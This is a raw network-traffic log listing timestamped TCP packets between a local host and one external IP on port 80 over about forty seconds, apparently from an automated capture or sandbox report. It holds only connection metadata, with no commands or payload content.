Feb 22, 2021 19:13:30.549227953 CET	49770	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:30.617152929 CET	80	49769	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:30.889718056 CET	80	49770	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:30.889955044 CET	49770	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:30.894737959 CET	49770	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:31.232312918 CET	80	49770	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:31.232486963 CET	49770	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:31.570513010 CET	80	49770	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:31.604202986 CET	80	49770	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:31.604316950 CET	80	49770	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:31.604537010 CET	49770	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:31.604582071 CET	49770	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:31.843086004 CET	49771	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:31.941739082 CET	80	49770	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:32.181655884 CET	80	49771	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:32.181778908 CET	49771	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:32.184418917 CET	49771	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:32.523078918 CET	80	49771	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:32.523749113 CET	49771	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:32.862390041 CET	80	49771	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:32.894319057 CET	80	49771	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:32.894535065 CET	80	49771	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:32.894649982 CET	49771	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:32.894702911 CET	49771	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:33.148340940 CET	49772	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:33.234484911 CET	80	49771	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:33.486393929 CET	80	49772	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:33.487659931 CET	49772	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:33.518151999 CET	49772	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:33.856565952 CET	80	49772	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:33.856682062 CET	49772	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:34.197129965 CET	80	49772	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:34.233598948 CET	80	49772	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:34.233731985 CET	49772	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:34.233937025 CET	80	49772	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:34.234014034 CET	49772	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:34.476284981 CET	49773	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:34.571679115 CET	80	49772	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:34.811100960 CET	80	49773	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:34.811291933 CET	49773	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:34.813981056 CET	49773	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:35.148715019 CET	80	49773	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:35.148798943 CET	49773	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:35.483243942 CET	80	49773	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:35.516104937 CET	80	49773	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:35.516218901 CET	49773	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:35.516390085 CET	80	49773	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:35.516454935 CET	49773	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:35.751740932 CET	49774	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:35.850940943 CET	80	49773	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:36.090656042 CET	80	49774	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:36.092713118 CET	49774	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:36.095386982 CET	49774	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:36.434298038 CET	80	49774	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:36.434465885 CET	49774	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:36.772480011 CET	80	49774	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:36.808944941 CET	80	49774	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:36.809072971 CET	80	49774	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:36.809089899 CET	49774	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:36.809144020 CET	49774	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:37.037193060 CET	49777	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:37.146209955 CET	80	49774	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:37.371900082 CET	80	49777	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:37.372172117 CET	49777	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:37.374891996 CET	49777	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:37.711095095 CET	80	49777	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:37.711201906 CET	49777	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:38.045665026 CET	80	49777	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:38.080215931 CET	80	49777	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:38.080427885 CET	49777	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:38.080514908 CET	80	49777	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:38.080599070 CET	49777	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:38.346273899 CET	49781	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:38.415015936 CET	80	49777	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:38.680960894 CET	80	49781	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:38.681087971 CET	49781	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:38.688700914 CET	49781	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:39.023277998 CET	80	49781	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:39.023402929 CET	49781	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:39.357800007 CET	80	49781	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:39.392492056 CET	80	49781	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:39.392525911 CET	80	49781	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:39.392606974 CET	49781	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:39.392674923 CET	49781	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:39.640938997 CET	49784	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:39.727544069 CET	80	49781	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:39.975528955 CET	80	49784	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:39.975697994 CET	49784	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:39.984081984 CET	49784	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:40.320708036 CET	80	49784	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:40.320997953 CET	49784	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:40.655272007 CET	80	49784	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:40.691271067 CET	80	49784	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:40.691379070 CET	49784	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:40.691643953 CET	80	49784	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:40.691735983 CET	49784	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:40.959562063 CET	49788	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:41.025378942 CET	80	49784	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:41.297840118 CET	80	49788	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:41.297950029 CET	49788	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:41.300879002 CET	49788	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:41.637674093 CET	80	49788	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:41.637780905 CET	49788	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:41.975538015 CET	80	49788	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:42.004107952 CET	80	49788	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:42.004211903 CET	80	49788	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:42.004328012 CET	49788	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:42.005177021 CET	49788	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:42.243577957 CET	49790	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:42.341739893 CET	80	49788	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:42.581017971 CET	80	49790	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:42.581176043 CET	49790	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:42.586766958 CET	49790	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:42.921617985 CET	80	49790	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:42.921735048 CET	49790	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:43.256527901 CET	80	49790	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:43.288108110 CET	80	49790	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:43.288283110 CET	49790	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:43.288481951 CET	80	49790	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:43.292408943 CET	49790	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:43.534276962 CET	49792	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:43.622981071 CET	80	49790	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:43.869123936 CET	80	49792	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:43.869232893 CET	49792	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:43.872009993 CET	49792	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:44.207695007 CET	80	49792	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:44.207918882 CET	49792	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:44.542459965 CET	80	49792	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:44.576299906 CET	80	49792	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:44.576551914 CET	80	49792	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:44.576628923 CET	49792	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:44.578947067 CET	49792	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:44.796436071 CET	49793	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:44.917512894 CET	80	49792	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:45.131869078 CET	80	49793	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:45.132352114 CET	49793	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:45.134991884 CET	49793	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:45.470438957 CET	80	49793	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:45.470527887 CET	49793	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:45.805701971 CET	80	49793	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:45.838083982 CET	80	49793	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:45.838129044 CET	80	49793	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:45.841618061 CET	49793	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:45.841656923 CET	49793	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:46.097471952 CET	49794	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:46.177248001 CET	80	49793	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:46.444108963 CET	80	49794	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:46.445601940 CET	49794	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:46.448703051 CET	49794	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:46.794996977 CET	80	49794	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:46.795232058 CET	49794	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:47.141275883 CET	80	49794	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:47.172113895 CET	80	49794	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:47.172290087 CET	80	49794	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:47.172524929 CET	49794	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:47.176336050 CET	49794	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:47.420962095 CET	49795	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:47.522226095 CET	80	49794	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:47.758186102 CET	80	49795	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:47.758353949 CET	49795	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:47.761298895 CET	49795	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:48.098963022 CET	80	49795	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:48.099041939 CET	49795	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:48.436330080 CET	80	49795	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:48.467871904 CET	80	49795	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:48.467916012 CET	80	49795	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:48.467976093 CET	49795	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:48.468036890 CET	49795	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:48.704180956 CET	49796	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:48.805315018 CET	80	49795	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:49.038976908 CET	80	49796	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:49.040853024 CET	49796	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:49.047257900 CET	49796	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:49.382189035 CET	80	49796	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:49.382508039 CET	49796	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:49.717134953 CET	80	49796	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:49.748456955 CET	80	49796	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:49.748485088 CET	80	49796	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:49.748615026 CET	49796	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:49.748718023 CET	49796	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:49.978683949 CET	49797	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:50.086057901 CET	80	49796	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:50.319796085 CET	80	49797	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:50.320014000 CET	49797	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:50.324886084 CET	49797	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:50.663242102 CET	80	49797	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:50.663357019 CET	49797	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:51.001254082 CET	80	49797	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:51.031461954 CET	80	49797	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:51.031606913 CET	49797	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:51.031799078 CET	80	49797	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:51.031879902 CET	49797	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:51.276801109 CET	49798	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:51.369652987 CET	80	49797	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:51.615041971 CET	80	49798	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:51.615284920 CET	49798	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:51.622675896 CET	49798	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:51.960963011 CET	80	49798	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:51.961210966 CET	49798	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:52.299410105 CET	80	49798	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:52.330063105 CET	80	49798	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:52.330363035 CET	80	49798	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:52.330385923 CET	49798	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:52.330465078 CET	49798	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:52.589252949 CET	49799	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:52.671586990 CET	80	49798	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:52.923830986 CET	80	49799	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:52.923995972 CET	49799	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:52.940188885 CET	49799	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:53.276544094 CET	80	49799	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:53.276652098 CET	49799	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:53.613017082 CET	80	49799	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:53.654052973 CET	80	49799	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:53.654226065 CET	49799	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:53.654251099 CET	80	49799	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:53.654333115 CET	49799	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:53.876693964 CET	49800	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:53.988482952 CET	80	49799	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:54.211711884 CET	80	49800	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:54.213130951 CET	49800	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:54.217315912 CET	49800	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:54.553634882 CET	80	49800	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:54.554219961 CET	49800	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:54.888840914 CET	80	49800	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:54.922338009 CET	80	49800	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:54.922454119 CET	49800	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:54.922511101 CET	80	49800	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:54.922568083 CET	49800	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:55.156162977 CET	49804	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:55.257162094 CET	80	49800	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:55.490911007 CET	80	49804	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:55.491027117 CET	49804	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:55.493777990 CET	49804	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:55.828674078 CET	80	49804	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:55.828850985 CET	49804	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:56.163475990 CET	80	49804	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:56.195640087 CET	80	49804	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:56.195713043 CET	80	49804	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:56.195776939 CET	49804	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:56.197033882 CET	49804	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:56.424488068 CET	49805	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:56.530540943 CET	80	49804	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:56.760215998 CET	80	49805	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:56.760335922 CET	49805	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:56.763031960 CET	49805	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:57.097064972 CET	80	49805	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:57.098416090 CET	49805	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:57.434627056 CET	80	49805	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:57.467051029 CET	80	49805	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:57.467173100 CET	49805	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:57.467500925 CET	80	49805	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:57.467590094 CET	49805	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:57.708933115 CET	49811	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:57.800723076 CET	80	49805	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:58.047174931 CET	80	49811	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:58.047283888 CET	49811	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:58.050741911 CET	49811	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:58.390463114 CET	80	49811	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:58.390557051 CET	49811	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:58.728013039 CET	80	49811	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:58.757900953 CET	80	49811	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:58.758189917 CET	49811	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:58.758214951 CET	80	49811	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:58.758529902 CET	49811	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:58.976737976 CET	49812	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:59.097623110 CET	80	49811	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:59.317632914 CET	80	49812	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:59.318540096 CET	49812	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:59.321820021 CET	49812	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:59.664855957 CET	80	49812	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:59.665541887 CET	49812	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:00.002942085 CET	80	49812	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:00.041541100 CET	80	49812	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:00.041593075 CET	80	49812	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:00.041712999 CET	49812	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:00.041747093 CET	49812	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:00.291079044 CET	49813	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:00.379120111 CET	80	49812	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:00.625814915 CET	80	49813	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:00.629396915 CET	49813	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:00.631942034 CET	49813	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:00.968427896 CET	80	49813	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:00.970818996 CET	49813	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:01.304662943 CET	80	49813	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:01.344598055 CET	80	49813	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:01.344877958 CET	80	49813	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:01.344877958 CET	49813	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:01.344947100 CET	49813	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:01.581593990 CET	49814	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:01.680428982 CET	80	49813	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:01.917135000 CET	80	49814	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:01.917305946 CET	49814	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:01.922836065 CET	49814	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:02.257256031 CET	80	49814	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:02.257450104 CET	49814	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:02.591464996 CET	80	49814	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:02.623399973 CET	80	49814	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:02.623450041 CET	80	49814	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:02.623632908 CET	49814	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:02.623656988 CET	49814	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:02.890727043 CET	49815	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:02.957371950 CET	80	49814	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:03.226814985 CET	80	49815	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:03.227049112 CET	49815	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:03.230295897 CET	49815	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:03.564932108 CET	80	49815	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:03.565103054 CET	49815	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:03.899715900 CET	80	49815	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:03.928021908 CET	80	49815	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:03.928194046 CET	49815	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:03.928421021 CET	80	49815	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:03.928491116 CET	49815	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:04.166305065 CET	49816	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:04.262698889 CET	80	49815	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:04.503792048 CET	80	49816	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:04.505326986 CET	49816	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:04.508068085 CET	49816	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:04.845519066 CET	80	49816	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:04.845724106 CET	49816	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:05.182857990 CET	80	49816	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:05.223133087 CET	80	49816	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:05.223248959 CET	49816	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:05.223402023 CET	80	49816	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:05.223470926 CET	49816	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:05.470774889 CET	49817	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:05.562098026 CET	80	49816	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:05.808561087 CET	80	49817	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:05.808903933 CET	49817	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:05.814223051 CET	49817	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:06.153723955 CET	80	49817	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:06.153937101 CET	49817	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:06.492265940 CET	80	49817	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:06.530955076 CET	80	49817	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:06.531183004 CET	80	49817	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:06.531367064 CET	49817	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:06.531400919 CET	49817	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:06.771215916 CET	49818	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:06.869174957 CET	80	49817	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:07.109533072 CET	80	49818	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:07.109680891 CET	49818	80	192.168.2.4	203.170.84.89
